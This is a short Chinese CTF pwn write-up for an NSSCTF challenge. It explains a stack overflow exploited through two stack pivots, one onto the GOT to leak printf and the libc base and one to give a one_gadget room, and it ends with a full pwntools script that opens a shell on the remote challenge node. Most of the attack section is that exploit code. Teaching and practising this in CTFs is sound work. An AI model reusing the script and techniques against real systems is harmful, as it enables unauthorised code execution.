题目

题目链接

checksec

这是什么鸭

vmmap

这是什么鸭

这里的 0x3fe000 在远端貌似不存在,被坑了,,,

IDA

main

这是什么鸭

func

这是什么鸭

栈溢出漏洞

got

这是什么鸭

onegadget

这是什么鸭

这是什么鸭

需要用 gadget 操纵寄存器

攻击思路

第一次栈迁移到 got 上 leak 出 printf 的地址以获取 libc 基址

第二次栈迁移为 onegadget 执行提供栈空间

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
io = process('./pwn_patched')
else:
io = remote('node1.anna.nssctf.cn', 29246)

again_addr = 0x401223
got_hijack = 0x404030
rw_addr = 0x404300
pop_rsi_ret = 0x2be51
pop_rdx_ret = 0x170337

def attack():
payload = b'A' * 0x30 + p64(got_hijack) + p64(again_addr)
io.sendafter(b'magic\n', payload)
printf = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f'printf = {hex(printf)}')
libc = ELF('./libc.so.6')
libc_base = printf - libc.symbols['printf']
log.info(f'libc_base = {hex(libc_base)}')
onegadget = select_onegadgets(libc.path) + libc_base
pop_rsi_ret_addr = pop_rsi_ret + libc_base
pop_rdx_ret_addr = pop_rdx_ret + libc_base
payload = b'A' * 0x30 + p64(rw_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rdx_ret_addr) + p64(0) + p64(onegadget)
io.sendafter(b'magic\n', payload)
io.interactive()

attack()